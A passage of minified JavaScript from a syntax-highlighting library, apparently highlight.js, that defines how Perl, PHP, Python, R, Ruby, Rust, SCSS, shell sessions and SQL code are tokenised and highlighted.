-begin:"q[qwxr]?\\s*\\(",end:"\\)",relevance:5},{begin:"q[qwxr]?\\s*\\[", -end:"\\]",relevance:5},{begin:"q[qwxr]?\\s*\\{",end:"\\}",relevance:5},{ -begin:"q[qwxr]?\\s*\\|",end:"\\|",relevance:5},{begin:"q[qwxr]?\\s*<",end:">", -relevance:5},{begin:"qw\\s+q",end:"q",relevance:5},{begin:"'",end:"'", -contains:[e.BACKSLASH_ESCAPE]},{begin:'"',end:'"'},{begin:"`",end:"`", -contains:[e.BACKSLASH_ESCAPE]},{begin:/\{\w+\}/,relevance:0},{ -begin:"-?\\w+\\s*=>",relevance:0}]},{className:"number", -begin:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b", -relevance:0},{ -begin:"(\\/\\/|"+e.RE_STARTERS_RE+"|\\b(split|return|print|reverse|grep)\\b)\\s*", -keywords:"split return print reverse grep",relevance:0, -contains:[e.HASH_COMMENT_MODE,{className:"regexp",variants:[{ -begin:c("s|tr|y",n.either(...l,{capture:!0}))},{begin:c("s|tr|y","\\(","\\)")},{ -begin:c("s|tr|y","\\[","\\]")},{begin:c("s|tr|y","\\{","\\}")}],relevance:2},{ -className:"regexp",variants:[{begin:/(m|qr)\/\//,relevance:0},{ -begin:d("(?:m|qr)?",/\//,/\//)},{begin:d("m|qr",n.either(...l,{capture:!0 -}),/\1/)},{begin:d("m|qr",/\(/,/\)/)},{begin:d("m|qr",/\[/,/\]/)},{ -begin:d("m|qr",/\{/,/\}/)}]}]},{className:"function",beginKeywords:"sub", -end:"(\\s*\\(.*?\\))?[;{]",excludeEnd:!0,relevance:5,contains:[e.TITLE_MODE]},{ -begin:"-\\w\\b",relevance:0},{begin:"^__DATA__$",end:"^__END__$", -subLanguage:"mojolicious",contains:[{begin:"^@@.*",end:"$",className:"comment"}] -}];return i.contains=g,r.contains=g,{name:"Perl",aliases:["pl","pm"],keywords:a, -contains:g}},grmr_php:e=>{ -const n=e.regex,t=/(?![A-Za-z0-9])(?![$])/,a=n.concat(/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/,t),i=n.concat(/(\\?[A-Z][a-z0-9_\x7f-\xff]+|\\?[A-Z]+(?=[A-Z][a-z0-9_\x7f-\xff])){1,}/,t),r={ -scope:"variable",match:"\\$+"+a},s={scope:"subst",variants:[{begin:/\$\w+/},{ -begin:/\{\$/,end:/\}/}]},o=e.inherit(e.APOS_STRING_MODE,{illegal:null -}),l="[ \t\n]",c={scope:"string",variants:[e.inherit(e.QUOTE_STRING_MODE,{ -illegal:null,contains:e.QUOTE_STRING_MODE.contains.concat(s)}),o,{ -begin:/<<<[ \t]*(?:(\w+)|"(\w+)")\n/,end:/[ \t]*(\w+)\b/, -contains:e.QUOTE_STRING_MODE.contains.concat(s),"on:begin":(e,n)=>{ -n.data._beginMatch=e[1]||e[2]},"on:end":(e,n)=>{ -n.data._beginMatch!==e[1]&&n.ignoreMatch()}},e.END_SAME_AS_BEGIN({ -begin:/<<<[ \t]*'(\w+)'\n/,end:/[ \t]*(\w+)\b/})]},d={scope:"number",variants:[{ -begin:"\\b0[bB][01]+(?:_[01]+)*\\b"},{begin:"\\b0[oO][0-7]+(?:_[0-7]+)*\\b"},{ -begin:"\\b0[xX][\\da-fA-F]+(?:_[\\da-fA-F]+)*\\b"},{ -begin:"(?:\\b\\d+(?:_\\d+)*(\\.(?:\\d+(?:_\\d+)*))?|\\B\\.\\d+)(?:[eE][+-]?\\d+)?" -}],relevance:0 -},g=["false","null","true"],u=["__CLASS__","__DIR__","__FILE__","__FUNCTION__","__COMPILER_HALT_OFFSET__","__LINE__","__METHOD__","__NAMESPACE__","__TRAIT__","die","echo","exit","include","include_once","print","require","require_once","array","abstract","and","as","binary","bool","boolean","break","callable","case","catch","class","clone","const","continue","declare","default","do","double","else","elseif","empty","enddeclare","endfor","endforeach","endif","endswitch","endwhile","enum","eval","extends","final","finally","float","for","foreach","from","global","goto","if","implements","instanceof","insteadof","int","integer","interface","isset","iterable","list","match|0","mixed","new","never","object","or","private","protected","public","readonly","real","return","string","switch","throw","trait","try","unset","use","var","void","while","xor","yield"],b=["Error|0","AppendIterator","ArgumentCountError","ArithmeticError","ArrayIterator","ArrayObject","AssertionError","BadFunctionCallException","BadMethodCallException","CachingIterator","CallbackFilterIterator","CompileError","Countable","DirectoryIterator","DivisionByZeroError","DomainException","EmptyIterator","ErrorException","Exception","FilesystemIterator","FilterIterator","GlobIterator","InfiniteIterator","InvalidArgumentException","IteratorIterator","LengthException","LimitIterator","LogicException","MultipleIterator","NoRewindIterator","OutOfBoundsException","OutOfRangeException","OuterIterator","OverflowException","ParentIterator","ParseError","RangeException","RecursiveArrayIterator","RecursiveCachingIterator","RecursiveCallbackFilterIterator","RecursiveDirectoryIterator","RecursiveFilterIterator","RecursiveIterator","RecursiveIteratorIterator","RecursiveRegexIterator","RecursiveTreeIterator","RegexIterator","RuntimeException","SeekableIterator","SplDoublyLinkedList","SplFileInfo","SplFileObject","SplFixedArray","SplHeap","SplMaxHeap","SplMinHeap","SplObjectStorage","SplObserver","SplPriorityQueue","SplQueue","SplStack","SplSubject","SplTempFileObject","TypeError","UnderflowException","UnexpectedValueException","UnhandledMatchError","ArrayAccess","BackedEnum","Closure","Fiber","Generator","Iterator","IteratorAggregate","Serializable","Stringable","Throwable","Traversable","UnitEnum","WeakReference","WeakMap","Directory","__PHP_Incomplete_Class","parent","php_user_filter","self","static","stdClass"],m={ -keyword:u,literal:(e=>{const n=[];return e.forEach((e=>{ -n.push(e),e.toLowerCase()===e?n.push(e.toUpperCase()):n.push(e.toLowerCase()) -})),n})(g),built_in:b},p=e=>e.map((e=>e.replace(/\|\d+$/,""))),_={variants:[{ -match:[/new/,n.concat(l,"+"),n.concat("(?!",p(b).join("\\b|"),"\\b)"),i],scope:{ -1:"keyword",4:"title.class"}}]},h=n.concat(a,"\\b(?!\\()"),f={variants:[{ -match:[n.concat(/::/,n.lookahead(/(?!class\b)/)),h],scope:{2:"variable.constant" -}},{match:[/::/,/class/],scope:{2:"variable.language"}},{ -match:[i,n.concat(/::/,n.lookahead(/(?!class\b)/)),h],scope:{1:"title.class", -3:"variable.constant"}},{match:[i,n.concat("::",n.lookahead(/(?!class\b)/))], -scope:{1:"title.class"}},{match:[i,/::/,/class/],scope:{1:"title.class", -3:"variable.language"}}]},E={scope:"attr", -match:n.concat(a,n.lookahead(":"),n.lookahead(/(?!::)/))},y={relevance:0, -begin:/\(/,end:/\)/,keywords:m,contains:[E,r,f,e.C_BLOCK_COMMENT_MODE,c,d,_] -},N={relevance:0, -match:[/\b/,n.concat("(?!fn\\b|function\\b|",p(u).join("\\b|"),"|",p(b).join("\\b|"),"\\b)"),a,n.concat(l,"*"),n.lookahead(/(?=\()/)], -scope:{3:"title.function.invoke"},contains:[y]};y.contains.push(N) -;const w=[E,f,e.C_BLOCK_COMMENT_MODE,c,d,_];return{case_insensitive:!1, -keywords:m,contains:[{begin:n.concat(/#\[\s*/,i),beginScope:"meta",end:/]/, -endScope:"meta",keywords:{literal:g,keyword:["new","array"]},contains:[{ -begin:/\[/,end:/]/,keywords:{literal:g,keyword:["new","array"]}, -contains:["self",...w]},...w,{scope:"meta",match:i}] -},e.HASH_COMMENT_MODE,e.COMMENT("//","$"),e.COMMENT("/\\*","\\*/",{contains:[{ -scope:"doctag",match:"@[A-Za-z]+"}]}),{match:/__halt_compiler\(\);/, -keywords:"__halt_compiler",starts:{scope:"comment",end:e.MATCH_NOTHING_RE, -contains:[{match:/\?>/,scope:"meta",endsParent:!0}]}},{scope:"meta",variants:[{ -begin:/<\?php/,relevance:10},{begin:/<\?=/},{begin:/<\?/,relevance:.1},{ -begin:/\?>/}]},{scope:"variable.language",match:/\$this\b/},r,N,f,{ -match:[/const/,/\s/,a],scope:{1:"keyword",3:"variable.constant"}},_,{ -scope:"function",relevance:0,beginKeywords:"fn function",end:/[;{]/, -excludeEnd:!0,illegal:"[$%\\[]",contains:[{beginKeywords:"use" -},e.UNDERSCORE_TITLE_MODE,{begin:"=>",endsParent:!0},{scope:"params", -begin:"\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0,keywords:m, -contains:["self",r,f,e.C_BLOCK_COMMENT_MODE,c,d]}]},{scope:"class",variants:[{ -beginKeywords:"enum",illegal:/[($"]/},{beginKeywords:"class interface trait", -illegal:/[:($"]/}],relevance:0,end:/\{/,excludeEnd:!0,contains:[{ -beginKeywords:"extends implements"},e.UNDERSCORE_TITLE_MODE]},{ -beginKeywords:"namespace",relevance:0,end:";",illegal:/[.']/, -contains:[e.inherit(e.UNDERSCORE_TITLE_MODE,{scope:"title.class"})]},{ -beginKeywords:"use",relevance:0,end:";",contains:[{ -match:/\b(as|const|function)\b/,scope:"keyword"},e.UNDERSCORE_TITLE_MODE]},c,d]} -},grmr_php_template:e=>({name:"PHP template",subLanguage:"xml",contains:[{ -begin:/<\?(php|=)?/,end:/\?>/,subLanguage:"php",contains:[{begin:"/\\*", -end:"\\*/",skip:!0},{begin:'b"',end:'"',skip:!0},{begin:"b'",end:"'",skip:!0 -},e.inherit(e.APOS_STRING_MODE,{illegal:null,className:null,contains:null, -skip:!0}),e.inherit(e.QUOTE_STRING_MODE,{illegal:null,className:null, -contains:null,skip:!0})]}]}),grmr_plaintext:e=>({name:"Plain text", -aliases:["text","txt"],disableAutodetect:!0}),grmr_python:e=>{ -const n=e.regex,t=/[\p{XID_Start}_]\p{XID_Continue}*/u,a=["and","as","assert","async","await","break","case","class","continue","def","del","elif","else","except","finally","for","from","global","if","import","in","is","lambda","match","nonlocal|10","not","or","pass","raise","return","try","while","with","yield"],i={ -$pattern:/[A-Za-z]\w+|__\w+__/,keyword:a, -built_in:["__import__","abs","all","any","ascii","bin","bool","breakpoint","bytearray","bytes","callable","chr","classmethod","compile","complex","delattr","dict","dir","divmod","enumerate","eval","exec","filter","float","format","frozenset","getattr","globals","hasattr","hash","help","hex","id","input","int","isinstance","issubclass","iter","len","list","locals","map","max","memoryview","min","next","object","oct","open","ord","pow","print","property","range","repr","reversed","round","set","setattr","slice","sorted","staticmethod","str","sum","super","tuple","type","vars","zip"], -literal:["__debug__","Ellipsis","False","None","NotImplemented","True"], -type:["Any","Callable","Coroutine","Dict","List","Literal","Generic","Optional","Sequence","Set","Tuple","Type","Union"] -},r={className:"meta",begin:/^(>>>|\.\.\.) /},s={className:"subst",begin:/\{/, -end:/\}/,keywords:i,illegal:/#/},o={begin:/\{\{/,relevance:0},l={ -className:"string",contains:[e.BACKSLASH_ESCAPE],variants:[{ -begin:/([uU]|[bB]|[rR]|[bB][rR]|[rR][bB])?'''/,end:/'''/, -contains:[e.BACKSLASH_ESCAPE,r],relevance:10},{ -begin:/([uU]|[bB]|[rR]|[bB][rR]|[rR][bB])?"""/,end:/"""/, -contains:[e.BACKSLASH_ESCAPE,r],relevance:10},{ -begin:/([fF][rR]|[rR][fF]|[fF])'''/,end:/'''/, -contains:[e.BACKSLASH_ESCAPE,r,o,s]},{begin:/([fF][rR]|[rR][fF]|[fF])"""/, -end:/"""/,contains:[e.BACKSLASH_ESCAPE,r,o,s]},{begin:/([uU]|[rR])'/,end:/'/, -relevance:10},{begin:/([uU]|[rR])"/,end:/"/,relevance:10},{ -begin:/([bB]|[bB][rR]|[rR][bB])'/,end:/'/},{begin:/([bB]|[bB][rR]|[rR][bB])"/, -end:/"/},{begin:/([fF][rR]|[rR][fF]|[fF])'/,end:/'/, -contains:[e.BACKSLASH_ESCAPE,o,s]},{begin:/([fF][rR]|[rR][fF]|[fF])"/,end:/"/, -contains:[e.BACKSLASH_ESCAPE,o,s]},e.APOS_STRING_MODE,e.QUOTE_STRING_MODE] -},c="[0-9](_?[0-9])*",d=`(\\b(${c}))?\\.(${c})|\\b(${c})\\.`,g="\\b|"+a.join("|"),u={ -className:"number",relevance:0,variants:[{ -begin:`(\\b(${c})|(${d}))[eE][+-]?(${c})[jJ]?(?=${g})`},{begin:`(${d})[jJ]?`},{ -begin:`\\b([1-9](_?[0-9])*|0+(_?0)*)[lLjJ]?(?=${g})`},{ -begin:`\\b0[bB](_?[01])+[lL]?(?=${g})`},{begin:`\\b0[oO](_?[0-7])+[lL]?(?=${g})` -},{begin:`\\b0[xX](_?[0-9a-fA-F])+[lL]?(?=${g})`},{begin:`\\b(${c})[jJ](?=${g})` -}]},b={className:"comment",begin:n.lookahead(/# type:/),end:/$/,keywords:i, -contains:[{begin:/# type:/},{begin:/#/,end:/\b\B/,endsWithParent:!0}]},m={ -className:"params",variants:[{className:"",begin:/\(\s*\)/,skip:!0},{begin:/\(/, -end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:i, -contains:["self",r,u,l,e.HASH_COMMENT_MODE]}]};return s.contains=[l,u,r],{ -name:"Python",aliases:["py","gyp","ipython"],unicodeRegex:!0,keywords:i, -illegal:/(<\/|\?)|=>/,contains:[r,u,{begin:/\bself\b/},{beginKeywords:"if", -relevance:0},l,b,e.HASH_COMMENT_MODE,{match:[/\bdef/,/\s+/,t],scope:{ -1:"keyword",3:"title.function"},contains:[m]},{variants:[{ -match:[/\bclass/,/\s+/,t,/\s*/,/\(\s*/,t,/\s*\)/]},{match:[/\bclass/,/\s+/,t]}], -scope:{1:"keyword",3:"title.class",6:"title.class.inherited"}},{ -className:"meta",begin:/^[\t ]*@/,end:/(?=#)|$/,contains:[u,m,l]}]}}, -grmr_python_repl:e=>({aliases:["pycon"],contains:[{className:"meta.prompt", -starts:{end:/ |$/,starts:{end:"$",subLanguage:"python"}},variants:[{ -begin:/^>>>(?=[ ]|$)/},{begin:/^\.\.\.(?=[ ]|$)/}]}]}),grmr_r:e=>{ -const n=e.regex,t=/(?:(?:[a-zA-Z]|\.[._a-zA-Z])[._a-zA-Z0-9]*)|\.(?!\d)/,a=n.either(/0[xX][0-9a-fA-F]+\.[0-9a-fA-F]*[pP][+-]?\d+i?/,/0[xX][0-9a-fA-F]+(?:[pP][+-]?\d+)?[Li]?/,/(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?[Li]?/),i=/[=!<>:]=|\|\||&&|:::?|<-|<<-|->>|->|\|>|[-+*\/?!$&|:<=>@^~]|\*\*/,r=n.either(/[()]/,/[{}]/,/\[\[/,/[[\]]/,/\\/,/,/) -;return{name:"R",keywords:{$pattern:t, -keyword:"function if in break next repeat else for while", -literal:"NULL NA TRUE FALSE Inf NaN NA_integer_|10 NA_real_|10 NA_character_|10 NA_complex_|10", -built_in:"LETTERS letters month.abb month.name pi T F abs acos acosh all any anyNA Arg as.call as.character as.complex as.double as.environment as.integer as.logical as.null.default as.numeric as.raw asin asinh atan atanh attr attributes baseenv browser c call ceiling class Conj cos cosh cospi cummax cummin cumprod cumsum digamma dim dimnames emptyenv exp expression floor forceAndCall gamma gc.time globalenv Im interactive invisible is.array is.atomic is.call is.character is.complex is.double is.environment is.expression is.finite is.function is.infinite is.integer is.language is.list is.logical is.matrix is.na is.name is.nan is.null is.numeric is.object is.pairlist is.raw is.recursive is.single is.symbol lazyLoadDBfetch length lgamma list log max min missing Mod names nargs nzchar oldClass on.exit pos.to.env proc.time prod quote range Re rep retracemem return round seq_along seq_len seq.int sign signif sin sinh sinpi sqrt standardGeneric substitute sum switch tan tanh tanpi tracemem trigamma trunc unclass untracemem UseMethod xtfrm" -},contains:[e.COMMENT(/#'/,/$/,{contains:[{scope:"doctag",match:/@examples/, -starts:{end:n.lookahead(n.either(/\n^#'\s*(?=@[a-zA-Z]+)/,/\n^(?!#')/)), -endsParent:!0}},{scope:"doctag",begin:"@param",end:/$/,contains:[{ -scope:"variable",variants:[{match:t},{match:/`(?:\\.|[^`\\])+`/}],endsParent:!0 -}]},{scope:"doctag",match:/@[a-zA-Z]+/},{scope:"keyword",match:/\\[a-zA-Z]+/}] -}),e.HASH_COMMENT_MODE,{scope:"string",contains:[e.BACKSLASH_ESCAPE], -variants:[e.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\(/,end:/\)(-*)"/ -}),e.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\{/,end:/\}(-*)"/ -}),e.END_SAME_AS_BEGIN({begin:/[rR]"(-*)\[/,end:/\](-*)"/ -}),e.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\(/,end:/\)(-*)'/ -}),e.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\{/,end:/\}(-*)'/ -}),e.END_SAME_AS_BEGIN({begin:/[rR]'(-*)\[/,end:/\](-*)'/}),{begin:'"',end:'"', -relevance:0},{begin:"'",end:"'",relevance:0}]},{relevance:0,variants:[{scope:{ -1:"operator",2:"number"},match:[i,a]},{scope:{1:"operator",2:"number"}, -match:[/%[^%]*%/,a]},{scope:{1:"punctuation",2:"number"},match:[r,a]},{scope:{ -2:"number"},match:[/[^a-zA-Z0-9._]|^/,a]}]},{scope:{3:"operator"}, -match:[t,/\s+/,/<-/,/\s+/]},{scope:"operator",relevance:0,variants:[{match:i},{ -match:/%[^%]*%/}]},{scope:"punctuation",relevance:0,match:r},{begin:"`",end:"`", -contains:[{begin:/\\./}]}]}},grmr_ruby:e=>{ -const n=e.regex,t="([a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?)",a=n.either(/\b([A-Z]+[a-z0-9]+)+/,/\b([A-Z]+[a-z0-9]+)+[A-Z]+/),i=n.concat(a,/(::\w+)*/),r={ -"variable.constant":["__FILE__","__LINE__","__ENCODING__"], -"variable.language":["self","super"], -keyword:["alias","and","begin","BEGIN","break","case","class","defined","do","else","elsif","end","END","ensure","for","if","in","module","next","not","or","redo","require","rescue","retry","return","then","undef","unless","until","when","while","yield","include","extend","prepend","public","private","protected","raise","throw"], -built_in:["proc","lambda","attr_accessor","attr_reader","attr_writer","define_method","private_constant","module_function"], -literal:["true","false","nil"]},s={className:"doctag",begin:"@[A-Za-z]+"},o={ -begin:"#<",end:">"},l=[e.COMMENT("#","$",{contains:[s] -}),e.COMMENT("^=begin","^=end",{contains:[s],relevance:10 -}),e.COMMENT("^__END__",e.MATCH_NOTHING_RE)],c={className:"subst",begin:/#\{/, -end:/\}/,keywords:r},d={className:"string",contains:[e.BACKSLASH_ESCAPE,c], -variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/`/,end:/`/},{ -begin:/%[qQwWx]?\(/,end:/\)/},{begin:/%[qQwWx]?\[/,end:/\]/},{ -begin:/%[qQwWx]?\{/,end:/\}/},{begin:/%[qQwWx]?/},{begin:/%[qQwWx]?\//, -end:/\//},{begin:/%[qQwWx]?%/,end:/%/},{begin:/%[qQwWx]?-/,end:/-/},{ -begin:/%[qQwWx]?\|/,end:/\|/},{begin:/\B\?(\\\d{1,3})/},{ -begin:/\B\?(\\x[A-Fa-f0-9]{1,2})/},{begin:/\B\?(\\u\{?[A-Fa-f0-9]{1,6}\}?)/},{ -begin:/\B\?(\\M-\\C-|\\M-\\c|\\c\\M-|\\M-|\\C-\\M-)[\x20-\x7e]/},{ -begin:/\B\?\\(c|C-)[\x20-\x7e]/},{begin:/\B\?\\?\S/},{ -begin:n.concat(/<<[-~]?'?/,n.lookahead(/(\w+)(?=\W)[^\n]*\n(?:[^\n]*\n)*?\s*\1\b/)), -contains:[e.END_SAME_AS_BEGIN({begin:/(\w+)/,end:/(\w+)/, -contains:[e.BACKSLASH_ESCAPE,c]})]}]},g="[0-9](_?[0-9])*",u={className:"number", -relevance:0,variants:[{ -begin:`\\b([1-9](_?[0-9])*|0)(\\.(${g}))?([eE][+-]?(${g})|r)?i?\\b`},{ -begin:"\\b0[dD][0-9](_?[0-9])*r?i?\\b"},{begin:"\\b0[bB][0-1](_?[0-1])*r?i?\\b" -},{begin:"\\b0[oO][0-7](_?[0-7])*r?i?\\b"},{ -begin:"\\b0[xX][0-9a-fA-F](_?[0-9a-fA-F])*r?i?\\b"},{ -begin:"\\b0(_?[0-7])+r?i?\\b"}]},b={variants:[{match:/\(\)/},{ -className:"params",begin:/\(/,end:/(?=\))/,excludeBegin:!0,endsParent:!0, -keywords:r}]},m=[d,{variants:[{match:[/class\s+/,i,/\s+<\s+/,i]},{ -match:[/\b(class|module)\s+/,i]}],scope:{2:"title.class", -4:"title.class.inherited"},keywords:r},{match:[/(include|extend)\s+/,i],scope:{ -2:"title.class"},keywords:r},{relevance:0,match:[i,/\.new[. (]/],scope:{ -1:"title.class"}},{relevance:0,match:/\b[A-Z][A-Z_0-9]+\b/, -className:"variable.constant"},{relevance:0,match:a,scope:"title.class"},{ -match:[/def/,/\s+/,t],scope:{1:"keyword",3:"title.function"},contains:[b]},{ -begin:e.IDENT_RE+"::"},{className:"symbol", -begin:e.UNDERSCORE_IDENT_RE+"(!|\\?)?:",relevance:0},{className:"symbol", -begin:":(?!\\s)",contains:[d,{begin:t}],relevance:0},u,{className:"variable", -begin:"(\\$\\W)|((\\$|@@?)(\\w+))(?=[^@$?])(?![A-Za-z])(?![@$?'])"},{ -className:"params",begin:/\|/,end:/\|/,excludeBegin:!0,excludeEnd:!0, -relevance:0,keywords:r},{begin:"("+e.RE_STARTERS_RE+"|unless)\\s*", -keywords:"unless",contains:[{className:"regexp",contains:[e.BACKSLASH_ESCAPE,c], -illegal:/\n/,variants:[{begin:"/",end:"/[a-z]*"},{begin:/%r\{/,end:/\}[a-z]*/},{ -begin:"%r\\(",end:"\\)[a-z]*"},{begin:"%r!",end:"![a-z]*"},{begin:"%r\\[", -end:"\\][a-z]*"}]}].concat(o,l),relevance:0}].concat(o,l) -;c.contains=m,b.contains=m;const p=[{begin:/^\s*=>/,starts:{end:"$",contains:m} -},{className:"meta.prompt", -begin:"^([>?]>|[\\w#]+\\(\\w+\\):\\d+:\\d+[>*]|(\\w+-)?\\d+\\.\\d+\\.\\d+(p\\d+)?[^\\d][^>]+>)(?=[ ])", -starts:{end:"$",keywords:r,contains:m}}];return l.unshift(o),{name:"Ruby", -aliases:["rb","gemspec","podspec","thor","irb"],keywords:r,illegal:/\/\*/, -contains:[e.SHEBANG({binary:"ruby"})].concat(p).concat(l).concat(m)}}, -grmr_rust:e=>{const n=e.regex,t={className:"title.function.invoke",relevance:0, -begin:n.concat(/\b/,/(?!let|for|while|if|else|match\b)/,e.IDENT_RE,n.lookahead(/\s*\(/)) -},a="([ui](8|16|32|64|128|size)|f(32|64))?",i=["drop ","Copy","Send","Sized","Sync","Drop","Fn","FnMut","FnOnce","ToOwned","Clone","Debug","PartialEq","PartialOrd","Eq","Ord","AsRef","AsMut","Into","From","Default","Iterator","Extend","IntoIterator","DoubleEndedIterator","ExactSizeIterator","SliceConcatExt","ToString","assert!","assert_eq!","bitflags!","bytes!","cfg!","col!","concat!","concat_idents!","debug_assert!","debug_assert_eq!","env!","eprintln!","panic!","file!","format!","format_args!","include_bytes!","include_str!","line!","local_data_key!","module_path!","option_env!","print!","println!","select!","stringify!","try!","unimplemented!","unreachable!","vec!","write!","writeln!","macro_rules!","assert_ne!","debug_assert_ne!"],r=["i8","i16","i32","i64","i128","isize","u8","u16","u32","u64","u128","usize","f32","f64","str","char","bool","Box","Option","Result","String","Vec"] -;return{name:"Rust",aliases:["rs"],keywords:{$pattern:e.IDENT_RE+"!?",type:r, -keyword:["abstract","as","async","await","become","box","break","const","continue","crate","do","dyn","else","enum","extern","false","final","fn","for","if","impl","in","let","loop","macro","match","mod","move","mut","override","priv","pub","ref","return","self","Self","static","struct","super","trait","true","try","type","typeof","unsafe","unsized","use","virtual","where","while","yield"], -literal:["true","false","Some","None","Ok","Err"],built_in:i},illegal:""},t]}}, -grmr_scss:e=>{const n=ie(e),t=le,a=oe,i="@[a-z-]+",r={className:"variable", -begin:"(\\$[a-zA-Z-][a-zA-Z0-9_-]*)\\b",relevance:0};return{name:"SCSS", -case_insensitive:!0,illegal:"[=/|']", -contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,n.CSS_NUMBER_MODE,{ -className:"selector-id",begin:"#[A-Za-z0-9_-]+",relevance:0},{ -className:"selector-class",begin:"\\.[A-Za-z0-9_-]+",relevance:0 -},n.ATTRIBUTE_SELECTOR_MODE,{className:"selector-tag", -begin:"\\b("+re.join("|")+")\\b",relevance:0},{className:"selector-pseudo", -begin:":("+a.join("|")+")"},{className:"selector-pseudo", -begin:":(:)?("+t.join("|")+")"},r,{begin:/\(/,end:/\)/, -contains:[n.CSS_NUMBER_MODE]},n.CSS_VARIABLE,{className:"attribute", -begin:"\\b("+ce.join("|")+")\\b"},{ -begin:"\\b(whitespace|wait|w-resize|visible|vertical-text|vertical-ideographic|uppercase|upper-roman|upper-alpha|underline|transparent|top|thin|thick|text|text-top|text-bottom|tb-rl|table-header-group|table-footer-group|sw-resize|super|strict|static|square|solid|small-caps|separate|se-resize|scroll|s-resize|rtl|row-resize|ridge|right|repeat|repeat-y|repeat-x|relative|progress|pointer|overline|outside|outset|oblique|nowrap|not-allowed|normal|none|nw-resize|no-repeat|no-drop|newspaper|ne-resize|n-resize|move|middle|medium|ltr|lr-tb|lowercase|lower-roman|lower-alpha|loose|list-item|line|line-through|line-edge|lighter|left|keep-all|justify|italic|inter-word|inter-ideograph|inside|inset|inline|inline-block|inherit|inactive|ideograph-space|ideograph-parenthesis|ideograph-numeric|ideograph-alpha|horizontal|hidden|help|hand|groove|fixed|ellipsis|e-resize|double|dotted|distribute|distribute-space|distribute-letter|distribute-all-lines|disc|disabled|default|decimal|dashed|crosshair|collapse|col-resize|circle|char|center|capitalize|break-word|break-all|bottom|both|bolder|bold|block|bidi-override|below|baseline|auto|always|all-scroll|absolute|table|table-cell)\\b" -},{begin:/:/,end:/[;}{]/,relevance:0, -contains:[n.BLOCK_COMMENT,r,n.HEXCOLOR,n.CSS_NUMBER_MODE,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,n.IMPORTANT,n.FUNCTION_DISPATCH] -},{begin:"@(page|font-face)",keywords:{$pattern:i,keyword:"@page @font-face"}},{ -begin:"@",end:"[{;]",returnBegin:!0,keywords:{$pattern:/[a-z-]+/, -keyword:"and or not only",attribute:se.join(" ")},contains:[{begin:i, -className:"keyword"},{begin:/[a-z-]+(?=:)/,className:"attribute" -},r,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,n.HEXCOLOR,n.CSS_NUMBER_MODE] -},n.FUNCTION_DISPATCH]}},grmr_shell:e=>({name:"Shell Session", -aliases:["console","shellsession"],contains:[{className:"meta.prompt", -begin:/^\s{0,3}[/~\w\d[\]()@-]*[>%$#][ ]?/,starts:{end:/[^\\](?=\s*$)/, -subLanguage:"bash"}}]}),grmr_sql:e=>{ -const n=e.regex,t=e.COMMENT("--","$"),a=["true","false","unknown"],i=["bigint","binary","blob","boolean","char","character","clob","date","dec","decfloat","decimal","float","int","integer","interval","nchar","nclob","national","numeric","real","row","smallint","time","timestamp","varchar","varying","varbinary"],r=["abs","acos","array_agg","asin","atan","avg","cast","ceil","ceiling","coalesce","corr","cos","cosh","count","covar_pop","covar_samp","cume_dist","dense_rank","deref","element","exp","extract","first_value","floor","json_array","json_arrayagg","json_exists","json_object","json_objectagg","json_query","json_table","json_table_primitive","json_value","lag","last_value","lead","listagg","ln","log","log10","lower","max","min","mod","nth_value","ntile","nullif","percent_rank","percentile_cont","percentile_disc","position","position_regex","power","rank","regr_avgx","regr_avgy","regr_count","regr_intercept","regr_r2","regr_slope","regr_sxx","regr_sxy","regr_syy","row_number","sin","sinh","sqrt","stddev_pop","stddev_samp","substring","substring_regex","sum","tan","tanh","translate","translate_regex","treat","trim","trim_array","unnest","upper","value_of","var_pop","var_samp","width_bucket"],s=["create table","insert into","primary key","foreign key","not null","alter table","add constraint","grouping sets","on overflow","character set","respect nulls","ignore nulls","nulls first","nulls last","depth first","breadth first"],o=r,l=["abs","acos","all","allocate","alter","and","any","are","array","array_agg","array_max_cardinality","as","asensitive","asin","asymmetric","at","atan","atomic","authorization","avg","begin","begin_frame","begin_partition","between","bigint","binary","blob","boolean","both","by","call","called","cardinality","cascaded","case","cast","ceil","ceiling","char","char_length","character","character_length","check","classifier","clob","close","coalesce","collate","collect","column","commit","condition","connect","constraint","contains","convert","copy","corr","corresponding","cos","cosh","count","covar_pop","covar_samp","create","cross","cube","cume_dist","current","current_catalog","current_date","current_default_transform_group","current_path","current_role","current_row","current_schema","current_time","current_timestamp","current_path","current_role","current_transform_group_for_type","current_user","cursor","cycle","date","day","deallocate","dec","decimal","decfloat","declare","default","define","delete","dense_rank","deref","describe","deterministic","disconnect","distinct","double","drop","dynamic","each","element","else","empty","end","end_frame","end_partition","end-exec","equals","escape","every","except","exec","execute","exists","exp","external","extract","false","fetch","filter","first_value","float","floor","for","foreign","frame_row","free","from","full","function","fusion","get","global","grant","group","grouping","groups","having","hold","hour","identity","in","indicator","initial","inner","inout","insensitive","insert","int","integer","intersect","intersection","interval","into","is","join","json_array","json_arrayagg","json_exists","json_object","json_objectagg","json_query","json_table","json_table_primitive","json_value","lag","language","large","last_value","lateral","lead","leading","left","like","like_regex","listagg","ln","local","localtime","localtimestamp","log","log10","lower","match","match_number","match_recognize","matches","max","member","merge","method","min","minute","mod","modifies","module","month","multiset","national","natural","nchar","nclob","new","no","none","normalize","not","nth_value","ntile","null","nullif","numeric","octet_length","occurrences_regex","of","offset","old","omit","on","one","only","open","or","order","out","outer","over","overlaps","overlay","parameter","partition","pattern","per","percent","percent_rank","percentile_cont","percentile_disc","period","portion","position","position_regex","power","precedes","precision","prepare","primary","procedure","ptf","range","rank","reads","real","recursive","ref","references","referencing","regr_avgx","regr_avgy","regr_count","regr_intercept","regr_r2","regr_s